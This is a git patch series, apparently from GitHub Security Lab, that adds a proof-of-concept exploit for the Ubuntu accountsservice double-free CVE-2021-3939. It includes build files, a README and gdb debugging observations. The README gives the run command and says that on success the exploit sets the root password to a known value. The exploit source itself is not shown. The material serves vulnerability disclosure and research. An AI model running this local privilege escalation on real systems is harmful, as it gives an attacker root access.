free to use the [GitHub Security Lab disclosure policy](https://securitylab.github.com/advisories/#policy), which is copied below for your convenience, if it resonates with you.* + +The *your_team_name_here* research team is dedicated to working closely with the open source community and with projects that are affected by a vulnerability, in order to protect users and ensure a coordinated disclosure. When we identify a vulnerability in a project, we will report it by contacting the publicly-listed security contact for the project if one exists; otherwise we will attempt to contact the project maintainers directly. + +If the project team responds and agrees the issue poses a security risk, we will work with the project security team or maintainers to communicate the vulnerability in detail, and agree on the process for public disclosure. Responsibility for developing and releasing a patch lies firmly with the project team, though we aim to facilitate this by providing detailed information about the vulnerability. + +Our disclosure deadline for publicly disclosing a vulnerability is: 90 days after the first report to the project team. + +We **appreciate the hard work** maintainers put into fixing vulnerabilities and understand that sometimes more time is required to properly address an issue. We want project maintainers to succeed and because of that we are always open to discuss our disclosure policy to fit your specific requirements, when warranted. From ebc33063cbc8b1d94909c0677b6072431ba99cb8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz?= Date: Thu, 18 Nov 2021 12:39:48 +0100 Subject: [PATCH 068/140] Update .github/ISSUE_TEMPLATE/all-for-one.yml MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: Jaroslav Lobačevski --- .github/ISSUE_TEMPLATE/all-for-one.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml index 3ca4e5b..8d7532f 100644 --- a/.github/ISSUE_TEMPLATE/all-for-one.yml +++ b/.github/ISSUE_TEMPLATE/all-for-one.yml @@ -53,7 +53,7 @@ body: id: cwe attributes: label: CWE - description: CWE that best fits the vulnerability class modeled with your query + description: [CWE](https://cwe.mitre.org/data/index.html) that best fits the vulnerability class modeled with your query placeholder: | ex. CWE-502: Deserialization of Untrusted Data validations: From 4c2e45128bb995ca16a0745f70aee06180ff8a22 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz?= Date: Thu, 18 Nov 2021 12:41:41 +0100 Subject: [PATCH 069/140] Apply suggestions from code review --- .github/ISSUE_TEMPLATE/all-for-one.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml index 8d7532f..755bcb3 100644 --- a/.github/ISSUE_TEMPLATE/all-for-one.yml +++ b/.github/ISSUE_TEMPLATE/all-for-one.yml @@ -1,5 +1,5 @@ name: All for One, One For All bounty submission -description: Submit a CodeQL query for the All For One, One For All bounty (https://securitylab.github.com/bounties) +description: Submit a CodeQL query for the All For One, One For All bounty (https://securitylab.github.com/bounties#allforone) title: "[]: " labels: [All For One] body: @@ -12,7 +12,7 @@ body: After you submit this issue, the GitHub Security Lab and CodeQL teams will triage the submission and, if it meets the Query Bounty Program requirements, we will grant you a bounty through our HackerOne program. - Please make sure to carefully read the [bounty program description and conditions](https://securitylab.github.com/bounties/) + Please make sure to carefully read the [bounty program description and conditions](https://securitylab.github.com/bounties#allforone) # Questionnaire - type: input From 14f0afcf9430da3e25ae0d556dd849db647bfed0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz?= Date: Tue, 7 Dec 2021 17:31:48 +0100 Subject: [PATCH 070/140] Update .github/ISSUE_TEMPLATE/all-for-one.yml Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> --- .github/ISSUE_TEMPLATE/all-for-one.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml index 755bcb3..80c62dc 100644 --- a/.github/ISSUE_TEMPLATE/all-for-one.yml +++ b/.github/ISSUE_TEMPLATE/all-for-one.yml @@ -53,7 +53,7 @@ body: id: cwe attributes: label: CWE - description: [CWE](https://cwe.mitre.org/data/index.html) that best fits the vulnerability class modeled with your query + description: "[CWE](https://cwe.mitre.org/data/index.html) that best fits the vulnerability class modeled with your query" placeholder: | ex. CWE-502: Deserialization of Untrusted Data validations: From 24fff089d8136b8f7385d08ddb57a13d91a41193 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Thu, 9 Dec 2021 13:50:43 +0000 Subject: [PATCH 071/140] PoC for Ubuntu accountsservice CVE-2021-3939 --- .gitmodules | 9 + .../accountsservice_CVE-2021-3939/.gitignore | 2 + .../CMakeLists.txt | 51 + .../accountsservice_CVE-2021-3939/DBusParse | 1 + .../accountsservice_CVE-2021-3939/EPollLoop | 1 + .../EPollLoopDBusHandler | 1 + .../README-build-accountsservice.md | 66 ++ .../accountsservice_CVE-2021-3939/README.md | 44 + .../observations/info.txt | 286 ++++++ .../observations/instrumentation.md | 185 ++++ .../observations/polkit_sequence.txt | 166 ++++ .../accountsservice_CVE-2021-3939/poc.cpp | 642 +++++++++++++ .../accountsservice_CVE-2021-3939/poc2.cpp | 846 ++++++++++++++++ .../accountsservice_CVE-2021-3939/poc3.cpp | 906 ++++++++++++++++++ 14 files changed, 3206 insertions(+) create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/.gitignore create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/CMakeLists.txt create mode 160000 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse create mode 160000 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop create mode 160000 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README.md create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/info.txt create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/instrumentation.md create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/polkit_sequence.txt create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp diff --git a/.gitmodules b/.gitmodules index 497169b..5b523f5 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,12 @@ [submodule "SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse"] path = SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse url = https://github.com/kevinbackhouse/DBusParse.git +[submodule "SecurityExploits/Ubuntu/GHSL-2021-1011-accountsservice/DBusParse"] + path = SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse + url = https://github.com/kevinbackhouse/DBusParse.git +[submodule "SecurityExploits/Ubuntu/GHSL-2021-1011-accountsservice/EPollLoop"] + path = SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop + url = https://github.com/kevinbackhouse/EPollLoop.git +[submodule "SecurityExploits/Ubuntu/GHSL-2021-1011-accountsservice/EPollLoopDBusHandler"] + path = SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler + url = https://github.com/kevinbackhouse/EPollLoopDBusHandler.git diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/.gitignore b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/.gitignore new file mode 100644 index 0000000..c08c06a --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/.gitignore @@ -0,0 +1,2 @@ +*~ +build* diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/CMakeLists.txt b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/CMakeLists.txt new file mode 100644 index 0000000..c430b23 --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/CMakeLists.txt @@ -0,0 +1,51 @@ +cmake_minimum_required(VERSION 3.10) + +enable_testing() + +# set the project name +project(GHSL-2021-1011-accountsservice VERSION 1.0.0 DESCRIPTION "Proof of concept exploit for GHSL-2021-1011: double-free in accountsservice") + +# specify the C++ standard +set(CMAKE_CXX_STANDARD 17) +set(CMAKE_CXX_STANDARD_REQUIRED True) + +set(EPollLoop_DIR "${CMAKE_SOURCE_DIR}/EPollLoop") +set(DBusParse_DIR "${CMAKE_SOURCE_DIR}/DBusParse") + +option(USE_SANITIZERS "Enable ASAN and UBSAN" OFF) + +add_compile_options(-Wall -Wextra -pedantic -Werror) + +if (USE_SANITIZERS) + set(SANITIZER_FLAGS "-fsanitize=address,undefined") + set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${SANITIZER_FLAGS}") + set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${SANITIZER_FLAGS}") + set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} ${SANITIZER_FLAGS}") + set(CMAKE_MODULE_LINKER_FLAGS "${CMAKE_MODULE_LINKER_FLAGS} ${SANITIZER_FLAGS}") +endif() + +add_subdirectory(DBusParse) +add_subdirectory(EPollLoop) +add_subdirectory(EPollLoopDBusHandler) + +add_executable(poc poc.cpp) +target_link_libraries(poc PUBLIC DBusParse DBusParseUtils util) +target_include_directories( + poc PRIVATE + $) + +add_executable(poc2 poc2.cpp) +target_link_libraries(poc2 PUBLIC DBusParse DBusParseUtils EPollLoop EPollLoopDBusHandler) +target_include_directories( + poc2 PRIVATE + $ + $ + $) + +add_executable(poc3 poc3.cpp) +target_link_libraries(poc3 PUBLIC DBusParse DBusParseUtils EPollLoop EPollLoopDBusHandler) +target_include_directories( + poc3 PRIVATE + $ + $ + $) diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse new file mode 160000 index 0000000..b2c75ca --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse @@ -0,0 +1 @@ +Subproject commit b2c75caace13d54303581a71f72c83bb5239b3a2 diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop new file mode 160000 index 0000000..9bb4a14 --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop @@ -0,0 +1 @@ +Subproject commit 9bb4a14427dfb7da867cc253f3e064d54b18679a diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler new file mode 160000 index 0000000..019faea --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler @@ -0,0 +1 @@ +Subproject commit 019faea2c0e00ba1047b7a0eb3861769896d6dd1 diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md new file mode 100644 index 0000000..d32740e --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md @@ -0,0 +1,66 @@ +# How to build accountsservice + +## How to build with debug symbols + +First, get the source code for accountsservice: + +```bash +mkdir accountsservice +cd accountsservice +apt-get source accountsservice +cd accountsservice-0.6.55/ +``` + +To create a debug build: + +```bash +DEB_BUILD_OPTIONS='nostrip noopt debug' debuild -b -uc -us +``` + +Install like this: + +``` +sudo dpkg -i ../*.deb +``` + +## How to build with address sanitizer (ASAN) + +The instructions that I found [here](https://wiki.debian.org/LTS/Development/Asan) don't work on accountsservice. (I get lots of linker errors lie `undefined reference to `__asan_report_store8'`, presumably because `libasan` hasn't been included in the link step.) But I was able to successfully create an ASAN build by modifying `src/meson.build` like this: + +``` +diff --git a/src/meson.build b/src/meson.build +index 20d5276..50ec3e1 100644 +--- a/src/meson.build ++++ b/src/meson.build +@@ -28,6 +28,7 @@ cflags = [ + '-DDATADIR="@0@"'.format(act_datadir), + '-DICONDIR="@0@"'.format(join_paths(act_localstatedir, 'lib', 'AccountsService', 'icons')), + '-DUSERDIR="@0@"'.format(join_paths(act_localstatedir, 'lib', 'AccountsService', 'users')), ++ '-fsanitize=address', + ] + + libaccounts_generated = static_library( +@@ -36,6 +37,7 @@ libaccounts_generated = static_library( + include_directories: top_inc, + dependencies: deps, + c_args: cflags, ++ link_args: '-fsanitize=address', + ) + + libaccounts_generated_dep = declare_dependency( +@@ -68,6 +70,7 @@ executable( + include_directories: top_inc, + dependencies: deps, + c_args: cflags, ++ link_args: '-fsanitize=address', + install: true, + install_dir: act_libexecdir, + ) +``` + +Then run the same commands as before to build and install: + +```bash +DEB_BUILD_OPTIONS='nostrip noopt debug' debuild -b -uc -us +sudo dpkg -i ../*.deb +``` diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README.md b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README.md new file mode 100644 index 0000000..9475ba5 --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README.md @@ -0,0 +1,44 @@ +# Ubuntu accountsservice CVE-2021-3939 (GHSL-2021-1011) + +This repository contains a proof of concept exploit for [CVE-2021-3939](https://ubuntu.com/security/notices/USN-5149-1) (GHSL-2021-1011): +a double-free memory corruption vulnerability in [accountsservice](https://git.launchpad.net/ubuntu/+source/accountsservice/). + +When successful, this poc sets the root user's password. + +Notes: + +1. The vulnerability only exists in Ubuntu's fork of accountsservice. Other Linux distributions, such as Debian, are not affected. +2. This exploit is SLOW. It might take several hours to succeed. + +# Build + +Instructions for building the PoC: + +```bash +git submodule update --init # Download https://github.com/kevinbackhouse/DBusParse +mkdir build +cd build +cmake .. +make +``` + +# Running + +```bash +./poc3 /var/run/dbus/system_bus_socket +``` + +The poc usually takes many hours to succeed. When it's successful, you should be able to login as root: + +```bash +su - root # password is: KrabbyPatties +``` + +Note: there are three versions of the poc. `poc.cpp` is the original +poc that I attached to the bug report that I sent to Ubuntu. It's a +bit careless with the way that it sends and receives D-Bus messages, +so it can sometimes get stuck because it's waiting for a D-Bus message +that never arrives. `poc2.cpp` is an improved version that uses +asynchronous communication, powered by epoll. `poc3.cpp` is a +simplified version of the exploit which I wrote after I better +understood how the exploit actually works. diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/info.txt b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/info.txt new file mode 100644 index 0000000..de60bfd --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/info.txt @@ -0,0 +1,286 @@ +Output from poc2: + +uid: 1001 +pid: 1382019 +home dir: /home/kev +Unique bus name (polkit): :1.40039 +Received a signal in PolkitHandler. +Unique bus name (accounts): :1.40040 +Received a signal in AccountsHandler. +Successfully registered with polkit +FindUserById: /org/freedesktop/Accounts/User1001 +batch sizes: 3 2 +accounts-daemon PID: 1506283 +accounts-daemon is not running +FindUserById: /org/freedesktop/Accounts/User0 +Starting exploit. PID: 1506348 +trigger_bug: isError = 0 +trigger_bug: isError = 1 + + +from journalctl: + +Nov 23 11:56:37 Speedy accounts-daemon[1506348]: fallback_value (FormatsLocale): 0x564cfbc8e4c0 +Nov 23 11:56:37 Speedy accounts-daemon[1506348]: fallback_value (Language): 0x564cfbc89ea0 + + +accounts-daemon logging: + +(gdb) p logentry_pos +$2 = 159 +(gdb) x /172wx logentries +0x564cfbb00220 : 0x00000000 0x00000000 0x00000003 0x00000004 +0x564cfbb00230 : 0x00000001 0x00000002 0x00000005 0x00000001 +0x564cfbb00240 : 0x00000002 0x00000005 0x00000001 0x00000002 +0x564cfbb00250 : 0x00000005 0x00000003 0x00000004 0x00000001 +0x564cfbb00260 : 0x00000002 0x00000005 0x00000001 0x00000002 +0x564cfbb00270 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00280 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00290 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb002a0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb002b0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb002c0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb002d0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb002e0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb002f0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00300 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00310 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00320 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00330 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00340 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00350 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00360 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00370 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00380 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00390 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb003a0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb003b0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb003c0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb003d0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb003e0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb003f0 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00400 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00410 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00420 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00430 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00440 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00450 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00460 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00470 : 0x00000005 0x00000001 0x00000005 0x00000001 +0x564cfbb00480 : 0x00000005 0x00000001 0x00000002 0x00000002 +0x564cfbb00490 : 0x00000002 0x00000002 0x00000006 0x00000000 +0x564cfbb004a0 : 0x00000000 0x00000000 0x00000000 0x00000000 +0x564cfbb004b0 : 0x00000000 0x00000000 0x00000000 0x00000000 +0x564cfbb004c0 : 0x00000000 0x00000000 0x00000000 0x00000000 + + +polkit logging: + +(gdb) p checkauthdata_pos +$3 = 161 +(gdb) x /164gx checkauthdata_table +0x7f2620ca2620 : 0x0000564cfbd1f970 0x0000564cfbd1f970 +0x7f2620ca2630 : 0x0000564cfbd0efd0 0x0000564cfbd0efd0 +0x7f2620ca2640 : 0x0000564cfbc8e4c0 0x0000564cfbd1f930 +0x7f2620ca2650 : 0x0000564cfbd1f930 0x0000564cfbd1e390 +0x7f2620ca2660 : 0x0000564cfbd1cc80 0x0000564cfbd1cc80 +0x7f2620ca2670 : 0x0000564cfbc81670 0x0000564cfbd20800 +0x7f2620ca2680 : 0x0000564cfbd20800 0x0000564cfbc81c10 +0x7f2620ca2690 : 0x0000564cfbc81c10 0x0000564cfbc903e0 +0x7f2620ca26a0 : 0x0000564cfbc81e00 0x0000564cfbc81e00 +0x7f2620ca26b0 : 0x0000564cfbd1cfe0 0x0000564cfbc927e0 +0x7f2620ca26c0 : 0x0000564cfbd102d0 0x0000564cfbc7a600 +0x7f2620ca26d0 : 0x0000564cfbd11a40 0x0000564cfbd1e740 +0x7f2620ca26e0 : 0x0000564cfbc7fc20 0x0000564cfbd23e80 +0x7f2620ca26f0 : 0x0000564cfbcd6bd0 0x0000564cfbc8e4c0 +0x7f2620ca2700 : 0x0000564cfbd23f00 0x0000564cfbd21cb0 +0x7f2620ca2710 : 0x0000564cfbc83800 0x0000564cfbd15f10 +0x7f2620ca2720 : 0x0000564cfbd1f2e0 0x0000564cfbd16ac0 +0x7f2620ca2730 : 0x0000564cfbc85ce0 0x0000564cfbd0f6a0 +0x7f2620ca2740 : 0x0000564cfbc7e590 0x0000564cfbd1d350 +0x7f2620ca2750 : 0x0000564cfbd18020 0x0000564cfbd17e30 +0x7f2620ca2760 : 0x0000564cfbd13030 0x0000564cfbd23ea0 +0x7f2620ca2770 : 0x0000564cfbd17ef0 0x0000564cfbd19310 +0x7f2620ca2780 : 0x0000564cfbc81e00 0x0000564cfbd26320 +0x7f2620ca2790 : 0x0000564cfbd18100 0x0000564cfbd17b60 +0x7f2620ca27a0 : 0x0000564cfbd28460 0x0000564cfbc8e4c0 +0x7f2620ca27b0 : 0x0000564cfbd194a0 0x0000564cfbd284e0 +0x7f2620ca27c0 : 0x0000564cfbd275d0 0x0000564cfbd29380 +0x7f2620ca27d0 : 0x0000564cfbd21c40 0x0000564cfbd19630 +0x7f2620ca27e0 : 0x0000564cfbd17d20 0x0000564cfbd1c3e0 +0x7f2620ca27f0 : 0x0000564cfbd293a0 0x0000564cfbc8e4c0 +0x7f2620ca2800 : 0x0000564cfbd1e790 0x0000564cfbd2aec0 +0x7f2620ca2810 : 0x0000564cfbd2af70 0x0000564cfbd2d8f0 +0x7f2620ca2820 : 0x0000564cfbd2d9e0 0x0000564cfbd2da70 +0x7f2620ca2830 : 0x0000564cfbd262a0 0x0000564cfbd2dd50 +0x7f2620ca2840 : 0x0000564cfbd2abd0 0x0000564cfbd2bc90 +0x7f2620ca2850 : 0x0000564cfbd2cbe0 0x0000564cfbd2e2d0 +0x7f2620ca2860 : 0x0000564cfbd2ae40 0x0000564cfbd2d800 +0x7f2620ca2870 : 0x0000564cfbd2e270 0x0000564cfbd30430 +0x7f2620ca2880 : 0x0000564cfbd31210 0x0000564cfbd32820 +0x7f2620ca2890 : 0x0000564cfbd310a0 0x0000564cfbd2cad0 +0x7f2620ca28a0 : 0x0000564cfbd1e390 0x0000564cfbd1e390 +0x7f2620ca28b0 : 0x0000564cfbd262c0 0x0000564cfbd2c820 +0x7f2620ca28c0 : 0x0000564cfbd31280 0x0000564cfbd32d50 +0x7f2620ca28d0 : 0x0000564cfbc829a0 0x0000564cfbd1ccd0 +0x7f2620ca28e0 : 0x0000564cfbd2e040 0x0000564cfbd13050 +0x7f2620ca28f0 : 0x0000564cfbd352f0 0x0000564cfbd35780 +0x7f2620ca2900 : 0x0000564cfbd32c80 0x0000564cfbd364d0 +0x7f2620ca2910 : 0x0000564cfbd28480 0x0000564cfbd364f0 +0x7f2620ca2920 : 0x0000564cfbd34270 0x0000564cfbd35520 +0x7f2620ca2930 : 0x0000564cfbd32ae0 0x0000564cfbd34080 +0x7f2620ca2940 : 0x0000564cfbd34300 0x0000564cfbd37310 +0x7f2620ca2950 : 0x0000564cfbd36310 0x0000564cfbd362a0 +0x7f2620ca2960 : 0x0000564cfbd37680 0x0000564cfbd35760 +0x7f2620ca2970 : 0x0000564cfbd38300 0x0000564cfbd34650 +0x7f2620ca2980 : 0x0000564cfbd3b7e0 0x0000564cfbd3a580 +0x7f2620ca2990 : 0x0000564cfbd393a0 0x0000564cfbd35570 +0x7f2620ca29a0 : 0x0000564cfbd3c410 0x0000564cfbd3c430 +0x7f2620ca29b0 : 0x0000564cfbc81670 0x0000564cfbd3c5a0 +0x7f2620ca29c0 : 0x0000564cfbd3b450 0x0000564cfbd38470 +0x7f2620ca29d0 : 0x0000564cfbd3ed50 0x0000564cfbd0f440 +0x7f2620ca29e0 : 0x0000564cfbc847c0 0x0000564cfbd3eff0 +0x7f2620ca29f0 : 0x0000564cfbd39b30 0x0000564cfbd39330 +0x7f2620ca2a00 : 0x0000564cfbd327c0 0x0000564cfbd402c0 +0x7f2620ca2a10 : 0x0000564cfbd40430 0x0000564cfbd40240 +0x7f2620ca2a20 : 0x0000564cfbd41300 0x0000564cfbd3ee60 +0x7f2620ca2a30 : 0x0000564cfbd414a0 0x0000564cfbd41400 +0x7f2620ca2a40 : 0x0000564cfbd43ad0 0x0000564cfbd43300 +0x7f2620ca2a50 : 0x0000564cfbd41080 0x0000564cfbd3edc0 +0x7f2620ca2a60 : 0x0000564cfbd44740 0x0000564cfbd44320 +0x7f2620ca2a70 : 0x0000564cfbd43370 0x0000564cfbd41030 +0x7f2620ca2a80 : 0x0000564cfbd323f0 0x0000564cfbd41620 +0x7f2620ca2a90 : 0x0000564cfbd446e0 0x0000564cfbd3ef30 +0x7f2620ca2aa0 : 0x0000564cfbd47450 0x0000564cfbd474d0 +0x7f2620ca2ab0 : 0x0000564cfbd44610 0x0000564cfbd47470 +0x7f2620ca2ac0 : 0x0000564cfbc903e0 0x0000564cfbd476a0 +0x7f2620ca2ad0 : 0x0000564cfbd493e0 0x0000564cfbd49590 +0x7f2620ca2ae0 : 0x0000564cfbd47410 0x0000564cfbd498b0 +0x7f2620ca2af0 : 0x0000564cfbd323d0 0x0000564cfbd47110 +0x7f2620ca2b00 : 0x0000564cfbc927e0 0x0000564cfbc7a600 +0x7f2620ca2b10 : 0x0000564cfbd1e740 0x0000564cfbd23e80 +0x7f2620ca2b20 : 0x0000564cfbc8e4c0 0x0000000000000000 +0x7f2620ca2b30 : 0x0000000000000000 0x0000000000000000 + + +stack trace: + +(gdb) where +#0 0x00007f2620b40a48 in __GI___clock_nanosleep (clock_id=clock_id@entry=0, flags=flags@entry=0, req=req@entry=0x7ffd9208fc30, rem=rem@entry=0x7ffd9208fc30) at ../sysdeps/unix/sysv/linux/clock_nanosleep.c:78 +#1 0x00007f2620b45957 in __GI___nanosleep (req=req@entry=0x7ffd9208fc30, rem=rem@entry=0x7ffd9208fc30) at ../sysdeps/unix/sysv/linux/nanosleep.c:25 +#2 0x00007f2620b4588e in __sleep (seconds=0) at ../sysdeps/posix/sleep.c:55 +#3 0x0000564cfbadff72 in user_change_password_authorized_cb (daemon=0x564cfbc660f0, user=0x564cfbc8f2f0, context=0x7f26140196a0, data=0x564cfbd17a00) at ../src/user.c:2813 +#4 0x0000564cfbad5f75 in check_auth_cb (authority=0x564cfbd0b440, res=0x564cfbd29a00, data=0x564cfbd1a350) at ../src/daemon.c:1428 +#5 0x00007f2620ed2fe2 in g_simple_async_result_complete (simple=0x564cfbd29a00) at ../../../gio/gsimpleasyncresult.c:802 +#6 0x00007f2620c8bc8b in check_authorization_cb (proxy=0x564cfbc8a510, res=0x564cfbd256e0, user_data=0x564cfbc8e4c0) at /home/kev/projects/polkit/policykit-1-0.105/src/polkit/polkitauthority.c:854 +#7 0x00007f2620ee9749 in g_task_return_now (task=0x564cfbd256e0) at ../../../gio/gtask.c:1219 +#8 0x00007f2620ee994b in g_task_return (type=, task=0x564cfbd256e0) at ../../../gio/gtask.c:1289 +#9 g_task_return (task=0x564cfbd256e0, type=) at ../../../gio/gtask.c:1245 +#10 0x00007f2620f5204b in reply_cb (connection=, res=, user_data=user_data@entry=0x564cfbd256e0) at ../../../gio/gdbusproxy.c:2557 +#11 0x00007f2620ee9749 in g_task_return_now (task=0x564cfbd14480) at ../../../gio/gtask.c:1219 +#12 0x00007f2620ee994b in g_task_return (type=, task=0x564cfbd14480) at ../../../gio/gtask.c:1289 +#13 g_task_return (task=0x564cfbd14480, type=) at ../../../gio/gtask.c:1245 +#14 0x00007f2620f4220f in g_dbus_connection_call_done (source=, result=, user_data=user_data@entry=0x564cfbd14480) at ../../../gio/gdbusconnection.c:5789 +#15 0x00007f2620ee9749 in g_task_return_now (task=0x564cfbd14540) at ../../../gio/gtask.c:1219 +#16 0x00007f2620ee978d in complete_in_idle_cb (task=0x564cfbd14540) at ../../../gio/gtask.c:1233 +#17 0x00007f2620d007c4 in g_main_dispatch (context=0x564cfbc4ffb0) at ../../../glib/gmain.c:3337 +#18 g_main_context_dispatch (context=0x564cfbc4ffb0) at ../../../glib/gmain.c:4055 +#19 0x00007f2620d53f08 in g_main_context_iterate.constprop.0 (context=0x564cfbc4ffb0, block=block@entry=1, dispatch=dispatch@entry=1, self=) at ../../../glib/gmain.c:4131 +#20 0x00007f2620cffe43 in g_main_loop_run (loop=0x564cfbc50d60) at ../../../glib/gmain.c:4329 +#21 0x0000564cfbad7ba8 in main (argc=1, argv=0x7ffd920901c8) at ../src/main.c:257 + +threads: +(gdb) info threads + Id Target Id Frame +* 1 Thread 0x7f2620465dc0 (LWP 1506348) "accounts-daemon" 0x00007f2620b40a48 in __GI___clock_nanosleep (clock_id=clock_id@entry=0, flags=flags@entry=0, req=req@entry=0x7ffd9208fc30, rem=rem@entry=0x7ffd9208fc30) at ../sysdeps/unix/sysv/linux/clock_nanosleep.c:78 + 2 Thread 0x7f261fef3640 (LWP 1506349) "gmain" 0x00007f2620b73cdf in __GI___poll (fds=0x564cfbc52660, nfds=2, timeout=3998) at ../sysdeps/unix/sysv/linux/poll.c:29 + 3 Thread 0x7f261eef1640 (LWP 1506351) "gdbus" 0x00007f2620b73cdf in __GI___poll (fds=0x7f2610011000, nfds=2, timeout=-1) at ../sysdeps/unix/sysv/linux/poll.c:29 + + +A more detailed look at some of the stack frames + +(gdb) up 1 +#3 0x0000564cfbadff72 in user_change_password_authorized_cb (daemon=0x564cfbc660f0, user=0x564cfbc8f2f0, context=0x7f26140196a0, data=0x564cfbd17a00) at ../src/user.c:2813 +2813 sleep(1); +(gdb) info args +daemon = 